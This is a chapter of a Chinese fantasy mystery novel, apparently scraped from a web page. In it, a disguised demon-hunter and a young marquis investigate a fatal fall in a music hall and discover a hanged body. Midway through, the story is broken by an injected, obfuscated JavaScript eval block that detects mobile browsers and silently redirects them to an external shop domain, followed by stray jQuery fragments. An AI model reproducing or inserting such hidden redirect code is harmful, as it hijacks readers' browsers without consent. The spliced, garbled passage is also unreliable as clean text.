宁雁书和常晏放下茶杯,杯子先后落桌,二人同时站了起来。
青衣少女撩开帷幔,张望着楼下的情况。
人群不管不顾的冲着门口挤,先前从二楼摔下来的男人脑袋附近蔓延着一圈血迹,看样子应该是凶多吉少。
男人周围的人挤也挤不出去,有的捂住了鼻子,阻止这浓重的血腥味进入鼻腔。
台上的舞姬被吓得花容失色,全都蜷缩到了舞台下的一处角落,姑娘们抱在一起,安慰着彼此。
这时,门口一黑衣少年持刀,带着一队人马走了过来,少年表情冷厉,目光不知道在寻找什么,刚到门口,就消失在了原地。
宁雁书眨了眨眼睛,以为是自己眼花了,她手腕上的阴阳镯微微颤动,像是察觉到了什么可以让它兴奋的气息。
阴阳镯怎么会在此时又发生异动?
青衣少女摸了摸手腕,现在她这个身份,并不利于对付妖物。
薛南枝的事情还没有了结,长安城中妖物据点也不清楚,此时若是暴露身份,怕是会着了他们的道,凶多吉少。
宁雁书没有注意到,桌子另一侧的紫衣少年不知道什么时候站到了她的身后,常晏盯着少女的后背。
他轻轻靠近,没有发出一点声音,目光停在那只骨节分明的手上。
少年伸手,拉起了青衣少女垂落的手臂,力道不轻不重。
宁雁书被他的动作惊的回过神来,将手夺了回来,手腕上的阴阳镯发出碰撞的脆响。
常晏愣住了,没有想到她的反应会这么大,少年眼神考究,手中蓄力已久的紫色妖力被他压了下去,手心那枚探查妖物的紫色印记也随之消散。
青衣少女也发现自己的动静似乎是有点大了,她故作无事,解释道:“你突然过来,吓到我了。”
宁雁书抬手捋了捋头发,主动询问。
“门口那些人,是做什么的?”
常晏身上铃铛的声音显得他此刻分外的悠闲,和他嘴里吐出来的话对比鲜明,平静的像个事外人一样。
“我叫来的,闻音阁是我开的。”
常晏一句话就表明了所有的信息,宁雁书有些不可置信。
“都安静!别嚷嚷,都给我退后!”
门口身穿制服的人尽数走了进来,只有少数几个持刀立在大门,整顿着纪律。
“你开的酒楼出了命案,你怎么不急着过去看看?”
自己的产业出了问题,不仅不着急,只是派了一队人马将楼中的人给堵死,不去看看情况,还有闲心在这里和她聊着天,属实是心大。
常晏没有回答宁雁书的问题,他走到窗前,声音不大,却极具力量感,话语中的压迫感让人不自觉的选择相信。
“各位,抱歉,闻音阁出了如此大的乱子,在查清楚之前,所有人还请原地暂歇。”
“查清原委,自会放诸位离开。”
众多黑衣人持刀将尸体围了起来,其中一位看起来应当是领头的,他先是走到尸体旁边探查了片刻,随即快步踏上了楼道,来到了常晏所在的位置。
“主子,死者是一名中年男子,已经死透了,初步判断,是因为头部发生了剧烈撞击。”
常晏的余光瞥着宁雁书的脸,他挥了挥手:“走,去看看。”
宁雁书抬眸,恰好对上了少年的眸子,显然常晏的这句话,是说给她听的。
青衣少女放下窗幔,绕开桌子,跟着常晏从房间中走了出去。
不得不说,常晏还是有审美的,闻音阁的布局主打一个对称,不论是栏杆还是房门,几乎都是用红木制成的,韵味非常。
走廊上栏杆的雕花细致,排列整齐,就连每一扇客房的房门都设计的极具特色。
常晏今日请她喝茶也算是用了功夫,她们先前身处的那间房是二楼唯二有落地窗的,可以边品茶边听乐赏舞。
至于另外一间的位置,刚好坐落在那处被毁坏的栏杆旁边,男人坠落的位置所正对的房门,此刻紧闭,不像其他的大开。
“主子,就是此处。”
黑衣侍卫侧身,给常晏和宁雁书让出了一条通路。
宁雁书抬步,站在围栏边,用手摩梭着裂开围栏的木刺。
她突然用力,试探性的推了推,木栏杆虽然不算十分稳固,但是若只是一个人独自摔倒碰撞,绝对不足以撞坏。
常晏伫立在少女身边,他瞧准时机,刚打算抬手,宁雁书便转了过来。
“按照这个损坏程度,除非有人推他,不然不可能会摔下去。”
宁雁书低声分析,她摸了摸下巴,侧目望向少年,她单手提起青色裙摆,快步从楼梯上走了下去。
宁雁书一掀裙摆,蹲在了男人尸体旁,常晏跟了上来,他朝着周围的一名黑衣侍卫招了招手,侍卫明白了他的意思,立马凑了过来。
黑衣侍卫主动伸手,将死者的脑袋抬了起来,他转动脑袋,男人的后脑勺处有着一个明晃晃的伤口,伤口混杂着头发,还在不断的朝着地上滴答滴答的滴着血迹。
常晏眉头微蹙:“这伤口像是磕到了什么利器,反而不像是摔的。”
宁雁书对于伤口的样子和致伤原因并不清楚,她在师门虽说捉了不少妖物,但是人间普通凡人的一切,她的了解算得上知之甚少。
师门中对于凡人一事向来十分淡漠,也常常告诫她们不要主动参与凡人的一切,若是发现有妖物欺压凡人,作为天师倒是可以助一臂之力,可若是凡人互相不对付,她们是万万不可出手干预的。
凡人互相残杀的手法,她也只是在话本中读过,活了这么久还从来没有亲眼见过一次。
更别提让她来分辨这一些普通的伤口了,她只能通过自己对于客观因素的考量来判断男子是被人推下来的,但是伤口具体是怎么伤的,她看不真切。
“为什么?”她问道。
常晏指了指男子头顶伤口的位置:“你看,这伤口裂口的边缘十分杂乱,皮肉外翻,伤口有深有浅,想必砸的时候用了很大的力气。”
他顿了顿:“一楼此处地势平坦,并没有任何尖锐的物品,无法造成很深的伤口。这伤口的周围还伴随着大量淤青,想必这淤青才是从二楼跌下来所致。”
宁雁书点点头,觉得他说的挺有道理的,心中暗暗记下。
常晏眼神扫着宁雁书,随口道:“你在边关待了这么久,简单的伤口类型分不出来?”
宁雁书一愣,笑了笑:“我这个人粗鄙不堪,不学无术,就连诗词歌文都不清楚,更别说这一些细节了。”
常晏直视着少女,他慢悠悠的点了点头:“这样啊,先前听你分析的话,我还以为你懂得不少。”
“常小侯爷谬赞了。”
青衣少女半掩口鼻,装作一副不好意思的模样。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887200|212590||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
一楼被围起来的百姓们有的在听见这话后惊慌失措,有的视线却一直在宁雁书的身上流转。
“唉,这位姑娘是谁啊?莫不是常家小侯爷的新相好?”
人群中有人扯了扯身边人的袖子,低声问着。
“倒是长得俊俏,比这舞姬还美上几分,不过可惜啊,这姑娘的样貌,一看就不是一个能安分守在后宅的。”
宁雁书听闻此话,站了起来,袖子中垂落的手臂握成了拳头,她视线冷冷的朝着说话的两名汉子投去,她生平最讨厌的事情之一就是在背后评价指点她的样貌。
那两个议论的汉子吞了吞口水,总是感觉到一股微妙的寒意,瞬间闭上了嘴。
常晏看她的模样,没有继续追问先前的话题。
这时,一妇人像是没有察觉到身边的汉子早已安静,她扭扭捏捏的,举起手帕羞答答的掩住了自己的脸。
她看着两名汉子,低声开始评头论足。
“那姑娘倒是有几分姿色,没想到常小侯爷吃这种类型的,倒是和我曾经像得很呢。”
“同样是粗鄙不堪,我早就发现常小侯爷对我关注非常,若不是我嫁的早,怎么会让他这般对我相思,鱼目代珠。”
宁雁书听闻此话有些不敢相信的挑眉看着常晏,常晏黑着脸,面无表情,一动不动。
没有铃铛的叮当声,宁雁书倒是有些不习惯了。
常晏转过身去,直接上了楼,他朝着黑衣侍卫招了招手,吩咐道:“让一楼这些人都散了吧,人太多了,闷。”
那妇人挤着疏散的侍卫,朝着紫衣少年飞吻,嘴中喊道:“常小侯爷还记得我见不了血腥,所以特意放我们先走,若不是我成亲早,我一定不会让你单相思这么久——”
侍卫皱着眉头,废了好大劲才将她推到门口。
宁雁书回头看了一眼那妇人,皱了皱眉。
一楼聚集的百姓正在黑衣侍卫的安排下朝外涌去,她没再多想,最后看了一眼尸体的伤口,跟上了楼。
常晏一开始留下一楼的人,估计也是为了给闻音阁脱罪,有旁观者听了他们的分析,自然不会无脑的将过错推在闻音阁的头上,毕竟这闻音阁,也是他常家的产业。
二楼的布局几乎都是密闭的房间,那些房间中的客人应该依旧在寻欢作乐,并没有被一楼的动静所打扰。
既然确定了是在二楼受伤,那提前将一楼的人疏散,反而更加利于寻找凶手。
可是唯独一间房间,可以将一楼的所有动静全部收入眼底。
青衣少女停住了上楼的步伐,她回头,目光定格在那间同样拥有落地窗的房间处。
灯火摇曳,窗幔轻晃。
还不待她彻底看清,宁雁书只听见上方传来“砰”的一声巨响,她抬头张望,加快了脚步。
二楼的入口处,只见常晏拍了拍手,紧闭着的损坏栏杆正对的那扇门,被他毫不留情的踹开了。
刚刚那动静,想必就是这门被踹开的声音。
常晏站在门口,没有动作。
宁雁书快步走了过去,她顺着紫衣少年的目光看了过去,一瞬间,少女瞳孔猛缩。
屋内窗户紧闭,灯光全熄,正中央的房梁上,白绫刺目,一具尸体静静的挂着,头颅歪向一侧,长发垂在脸前,早就没了气息。
房间里传出一股格外旖旎的气息,久久挥散不去。